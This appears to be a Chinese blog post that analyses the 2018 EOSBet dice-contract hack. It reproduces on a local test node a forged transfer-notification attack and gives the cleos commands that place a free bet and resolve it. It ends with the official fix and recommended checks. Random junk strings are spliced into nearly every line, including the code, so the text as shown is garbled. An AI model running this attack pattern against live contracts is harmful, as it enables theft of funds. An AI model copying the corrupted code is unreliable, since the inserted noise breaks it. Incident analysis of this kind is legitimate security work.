Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成
$ n9 D/ c8 m/ E2 v- v2 E! v. g文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis' `: j/ o7 m: j) n" G0 ~- H  H
0x00 背景
5 U5 S" e& F( p2 X/ T0 k/ q; uEOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。3 |/ x4 F; q4 a. K  C' b& I
. z5 |  H+ s' p8 }+ n
0x01 技术分析
6 x! a& R- N4 a- s8 w/ E3 z由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
% t4 q# S0 ]$ T0 @8 t% W+ T// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
  I+ M' d* t( c. [7 G: ~  }4 Q, o; W$ T#define EOSIO_ABI_EX( TYPE, MEMBERS ) \3 D* ]/ _  K' ^# ?% j3 r) b7 ^
extern "C" { \! F6 @) g$ e7 W; m
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
! Y8 o  s; W8 ^                auto self = receiver; \. j" k/ ~& P* c4 v1 T8 x
                if( action == N(onerror)) { \
& G3 g0 }# z$ B+ I                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
2 J3 z6 Q1 K. h" c                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \/ V0 g% N2 h4 R+ n
                } \
( [' j/ K, O, t+ d% f2 n, o                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
; N! g! V/ l1 f6 A) U  _                        TYPE thiscontract( self ); \
2 V  D9 L3 S- K' W7 \0 \- ?                        switch( action ) { \% z+ }6 G, D& G0 h7 R. h
                                EOSIO_API( TYPE, MEMBERS ) \
) @4 h0 w1 j) e9 ?* A0 h                        } \: `+ m: M! Y$ G2 O' B# e/ k
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \0 r* D1 _! A# O* J2 b$ g% x4 h1 Z
                } \3 F4 R" K! }- u* s3 G
        } \. \/ y/ k7 O% S4 I7 x% h, S
}
8 R( Z& A# y) b通过官方给出的EOSIO_ABI,问题主要出在以下代码2 |! D  Q+ U6 h3 X
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
7 Z& G, h9 B7 L) [/ M( i, d                        TYPE thiscontract( self ); \( a3 h6 _+ X' S* z0 h
                        switch( action ) { \, ^5 e, U! a  M. k$ U8 ^
                                EOSIO_API( TYPE, MEMBERS ) \9 i, _: G  _+ c2 P- x. @
                        } \
5 g2 F1 T& n# c/ O( u                }0 c( u$ t9 p( g$ T0 Q8 R/ P1 n
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
2 C5 C6 Z) Y# N* @; a但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。) G1 q! A( q: {3 m# j- q& ^! g; m+ ?
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。% v, ?3 V2 {$ Y+ s" b6 F' ^/ a
0x02 攻击复盘
! C8 K& d" \$ G. O. Z创建eosio.token账户
& M8 ?7 u3 b# D" Ucleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
( f% w" u+ w$ |  m/ P, ]( X- J部署eosio.token合约并初始化
2 x7 V# _/ Y" Q- ~3 v# 部署合约
0 J  _9 {  _* J0 [6 _cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio& l" G7 A+ K9 K) J9 w
# 初始化合约* y6 l! B$ u- ^
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
" x" `" r  @, I" T# E( H创建游戏账户、开奖账户和攻击者账户* _3 R3 k' x- i$ ^9 a" |
#创建游戏账户和开奖账户2 `, I6 ~+ u! \* X
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk. C- N7 ~4 t; D7 u7 Y2 S9 M/ Q
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk/ G7 o& r3 ?9 F$ _* f6 L
#创建攻击者账户$ v7 z1 b, \3 G( w* `+ M' |: _
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk7 c3 o! D' L* j7 d
设置账户随机权限和开奖权限
) ?. X' S& E& M# t# l: p3 G#设置权限" U4 q0 ^% l. c
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
) C2 @# p" q+ O) r! q) A6 [/ D0 ycleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner. ]' c/ |8 x% g& D" R
#设置开奖权限( }& G$ w" O) \3 Y4 E" N3 L7 t6 p
cleos set action permission eosbetcasino eosbetdice11 resolvebet random' Q- y% }8 k& v) H, T2 t; t" d' n
向相关账户冲入代币
2 B& `  n: o/ d; G: I#往相关账户充值
4 Y% d; T) F4 Z+ E. k# c( e: ccleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active. D: O9 \, G& ^) T) e- ~
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
( |! `" @. F$ Q2 _8 u6 F![4.png]()+ |0 N9 A7 H: s! r- k: R, `" f
部署游戏合约并初始化  \2 N! h* i. q6 `! v
#部署游戏合约
) _5 C- M" `5 B8 |cleos set contract eosbetdice11 /home/user/contracts/eosbetdice& L, {1 l# S  _0 O3 u) V7 W& `
#初始化游戏合约
' M6 p4 a- W6 v1 mcleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
( s& Z0 A/ j6 s: n模拟黑客攻击(伪造转账通知)
% F6 J: t5 {  zcleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
% J. _; @2 e7 h+ j. a' J2 [% P* A# Y查询游戏订单5 V( d4 q% }: E; u
cleos get table eosbetdice11 eosbetdice11 activebets7 R' i) D1 H5 S, P
! B# X2 y6 L' j/ S* R
可见,游戏订单已经生成,查询attacker和eosbetdice11账户
  [$ x6 y" {1 a/ O' w2 L& R; r- d' n6 M7 p" d5 ?' p
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。4 Y9 X: x3 T& b4 _
最后对该订单进行开奖。' f0 F! c7 n6 m8 ]6 l: K" R% Z
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
9 V' ~/ R# z+ _
3 p' U. ^' y( V4 d! O& O: j总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。% C( D  [0 v6 U4 @2 \
0x03 后记& L1 [# S, C/ e6 N3 n  i5 r
EOSBet随后将修复方案公开
+ ^6 ]4 [- F% N* ]1 ], k3 a. S// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers9 n0 q; b  h. Z8 X# L
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \2 F; A4 J7 K6 U, Z" _/ U5 [
extern "C" { \
1 w3 S& {; U% ]  D9 K8 }        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \' D' u6 P8 T1 B5 `0 C2 D9 \
                auto self = receiver; \
# I8 d, N  e( l# ~2 a4 V; E' s6 r                if( code == self || code == N(eosio.token)) { \& w/ A- E2 ?4 h( q% G  B9 N
                        if( action == N(transfer)){ \
) K' O4 o, O) m% G                                // 必须是eosio.token来调用合约自身的transfer函数& f5 ~, k# c2 Y% z6 |
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
5 \: F9 U5 h1 |$ T% o2 ^! s                        } \0 v( \2 w( V/ j" T( ?6 J+ v
                        TYPE thiscontract( self ); \
4 f, }: H: v) s; P3 o/ u: @6 N                        switch( action ) { \
% k# b( t: R( Y( ]) @2 |                                EOSIO_API( TYPE, MEMBERS ) \0 ~- _3 V) h8 z" }
                        } \# t# C7 y2 y+ @
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
/ G) b3 ]8 S- o. r$ d                } \
' q. Y; K1 d' A        } \- T4 r6 t2 p4 k* |# J$ \; q
}
- i, [) l) V/ r8 }$ e' Q可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D& x: B5 F, I( @9 e
0x04 修复方案
% ~" [) j/ e' ]; J( F; Q, X零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
9 \1 V) y  d: u  b. a9 k$ U& n
+ w" Y& L3 G1 v& N8 g通知是否来自eosio.token,即只处理eosio.token发送的通知: [! p: L7 p0 g1 \
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
) t/ p; G9 h' w+ `
) ^9 {2 z% Z1 G
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知
9 R8 r3 F; [8 ]8 reosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10